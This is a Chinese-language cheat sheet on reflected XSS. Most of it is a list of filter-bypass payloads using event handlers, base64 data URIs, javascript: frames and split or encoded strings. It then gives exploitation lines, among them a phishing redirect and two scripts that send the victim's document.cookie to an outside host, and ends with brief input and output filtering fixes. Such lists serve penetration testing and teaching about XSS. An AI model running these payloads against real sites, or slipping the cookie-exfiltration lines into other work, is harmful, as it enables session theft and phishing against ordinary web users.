反射型XSS漏洞挖掘思路:
1、客户端提交的内容,服务器未进行处理,原封不动的返回客户端。
2、挖掘XSS漏洞必须找到服务器的输出位置。
反射型XSS Poc:
alert()函数过滤:
<script>alert('xss')</script> 弹窗函数
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>标签过滤:
<a href="onclick=alert('xss')"> click</a>
<img src="http://1.1.1.1/a.jpg onerror=alert('xss')"></img>
<iframe onload=alert('xss')>
base64加密
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>
setTimeout
<svg/onload=setTimeout('ale'+'rt(1)',0)>
过滤双引号
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
chrome
<img src ?itworksonchrome?/onerror = alert(1)>
data形式
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed>
<script src=data:%26comma;alert(1)></script>
ontoggle
<details open ontoggle="alert('已是黄昏独自愁,一枝红杏出墙来')">
frame
<frame src="javascript:alert(1)">
<frame src="javascript:%20%0aalert%20%0d %09(1)">
<iframe srcdoc="<img src=x:x onerror=alert(1)>" />
other
<audio src
<video src
url加密绕圆括号
<svg onload='JavascRipT:alert%281%29'>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">
XSS漏洞利用方式:
<script>window.location="http://www.baidu.com"</script> 重定向钓鱼
<script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script> 接受客户端cookie
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script>
存储型、反射型、DOM三种区别:
XSS漏洞修复方案:
1、输入过滤:采取白名单方法
2、输出过滤:服务器端采用输出过滤,输出在html中采用htmlspecialchar()编码,输出在js中进行转义
特殊字符编码: